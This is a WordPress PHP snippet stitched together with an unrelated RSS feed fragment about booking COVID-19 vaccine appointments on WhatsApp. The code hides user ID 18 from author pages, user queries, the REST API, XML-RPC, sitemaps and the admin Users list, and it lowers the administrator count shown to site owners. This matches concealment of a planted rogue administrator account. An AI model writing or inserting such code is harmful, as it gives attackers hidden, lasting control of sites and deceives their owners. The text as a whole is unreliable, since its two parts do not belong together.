add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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					<description><![CDATA[<p>There is some positive news for millions of Indians who are waiting to be vaccinated amid the ongoing fight against the deadly Coronavirus. Yes, they can now use WhatsApp to schedule COVID-19 immunization appointments. WhatsApp, for its part, has announced that the MyGov Corona Helpdesk on its platform would now let users find their nearest [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/now-you-can-arrange-vaccine-appointments-via-whatsapp-the-health-minister-refers-to-it-as-a-new-era-of-citizen-convenience">Now You Can Arrange Vaccine Appointments via WhatsApp; The Health Minister Refers to it as a &#8220;New Era of Citizen Convenience&#8221;</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>There is some positive news for millions of Indians who are waiting to be vaccinated amid the ongoing fight against the deadly Coronavirus. Yes, they can now use WhatsApp to schedule COVID-19 immunization appointments.</p>
<p>WhatsApp, for its part, has announced that the MyGov Corona Helpdesk on its platform would now let users find their nearest vaccination center and schedule immunization appointments.</p>
<p>Setting the stage for a new era of citizen convenience. Union Health Minister Mansukh Mandaviya stated in a tweet on Tuesday that you may now book COVID-19 immunization slots on your phone in minutes.</p>
<p>The post <a href="https://theedgemedia.in/now-you-can-arrange-vaccine-appointments-via-whatsapp-the-health-minister-refers-to-it-as-a-new-era-of-citizen-convenience">Now You Can Arrange Vaccine Appointments via WhatsApp; The Health Minister Refers to it as a &#8220;New Era of Citizen Convenience&#8221;</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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